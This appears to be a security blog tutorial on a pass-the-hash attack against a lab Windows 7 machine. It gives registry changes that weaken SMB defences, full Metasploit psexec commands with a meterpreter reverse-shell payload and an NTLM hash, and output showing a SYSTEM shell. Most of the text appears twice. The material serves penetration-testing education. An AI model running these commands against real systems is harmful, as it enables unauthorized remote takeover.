Hacking Windows Passwords with Pass the Hash
n Windows, you don’t always need to know the actual password to get onto a system (believe it or not). All you need is the hash of that password, and you can get in just as easily.
Setup Your Testbed
This is meant to simply be an extension to the previous post. Simply use a Windows 7 system. All you need to add is a single Windows share. What you share doesn’t matter. The same password hashes that were found before will be used again.
You may need to set a registry key in case you have an error listed later. The key is “HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters” with “RequireSecuritySignature” set to “0” (as described here. I did not need this, but notice that is a good mitigation).
Another registry key you may need for the same error is under the following: “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System”. This time you’ll need to add a new DWORD (32-bit) called “LocalAccountTokenFilterPolicy” and set it to 1 (as described here and here. I DID need this). Basically, local users by default are not allowed to perform administrative actions. This registry key gets around that problem. A domain account would not have this issue.
Attack
How do you find a vulnerable host?
All you need is a password hash to a system that has SMB file sharing open (port 445).
How do you attack that host?
Metasploit has a pass the hash module called exploit/windows/smb/psexec. In fact if you run a “search psexec” on the Metasploit console, you’ll see about 4 modules to use pass the hash for different things. For our host, we’re simply going to use psexec to drop a meterpreter payload.
And you’re in! Hopefully. If not, read the troubleshooting tips below:
First, a little troubleshooting. If you get the following response:
[-] Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: The server responded with error: STATUS_LOGON_FAILURE (Command=115 WordCount=0)
This means you’ve got bad credentials. Most likely, you only put the NTLM hash (E5810F3C99AE2ABB2232ED8458A61309) instead of both the blank LANMAN hash and the NTLM hash together as this module expects (00000000000000000000000000000000:E5810F3C99AE2ABB2232ED8458A61309)
If you get the following response:
[-] Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::ErrorCode The server responded with error: STATUS_ACCESS_DENIED (Command=117 WordCount=0)
This means you didn’t set the registry keys explained in the Setup step (likely the second one).
Other references:
https://community.rapid7.com/community/metasploit/blog/2013/03/09/psexec-demystified
Setup Your Testbed
This is meant to simply be an extension to the previous post. Simply use a Windows 7 system. All you need to add is a single Windows share. What you share doesn’t matter. The same password hashes that were found before will be used again.
You may need to set a registry key in case you have an error listed later. The key is “HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters” with “RequireSecuritySignature” set to “0” (as described here. I did not need this, but notice that is a good mitigation).
Another registry key you may need for the same error is under the following: “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System”. This time you’ll need to add a new DWORD (32-bit) called “LocalAccountTokenFilterPolicy” and set it to 1 (as described here and here. I DID need this). Basically, local users by default are not allowed to perform administrative actions. This registry key gets around that problem. A domain account would not have this issue.
Attack
How do you find a vulnerable host?
All you need is a password hash to a system that has SMB file sharing open (port 445).
How do you attack that host?
Metasploit has a pass the hash module called exploit/windows/smb/psexec. In fact if you run a “search psexec” on the Metasploit console, you’ll see about 4 modules to use pass the hash for different things. For our host, we’re simply going to use psexec to drop a meterpreter payload.
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(psexec) > set RHOST 192.168.1.5
msf exploit(psexec) > set LHOST 192.168.1.6
msf exploit(psexec) > set SMBUser JoeTest
msf exploit(psexec) > set SMBPass 00000000000000000000000000000000:E5810F3C99AE2ABB2232ED8458A61309
msf exploit(psexec) > exploit[*] Started reverse handler on 192.168.1.6:4444
[*] Connecting to the server...
[*] Authenticating to 192.168.1.5:445|WORKGROUP as user 'JoeTest'...
[*] Uploading payload...
[*] Created \NWKrjfhn.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.5[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.5[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (OXAZLqCq - "MSmGGmzvjJKdbAEMwVE")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \NWKrjfhn.exe...
[*] Sending stage (752128 bytes) to 192.168.1.5
[*] Meterpreter session 1 opened (192.168.1.6:4444 -> 192.168.1.5:49393) at 2013-02-18 10:38:09 -0500meterpreter > getuid
Server username: NT AUTHORITY\SYSTEMAnd you’re in! Hopefully. If not, read the troubleshooting tips below:
First, a little troubleshooting. If you get the following response:
[-] Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: The server responded with error: STATUS_LOGON_FAILURE (Command=115 WordCount=0)
This means you’ve got bad credentials. Most likely, you only put the NTLM hash (E5810F3C99AE2ABB2232ED8458A61309) instead of both the blank LANMAN hash and the NTLM hash together as this module expects (00000000000000000000000000000000:E5810F3C99AE2ABB2232ED8458A61309)
If you get the following response:
[-] Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::ErrorCode The server responded with error: STATUS_ACCESS_DENIED (Command=117 WordCount=0)
This means you didn’t set the registry keys explained in the Setup step (likely the second one).
Other references:
https://community.rapid7.com/community/metasploit/blog/2013/03/09/psexec-demystified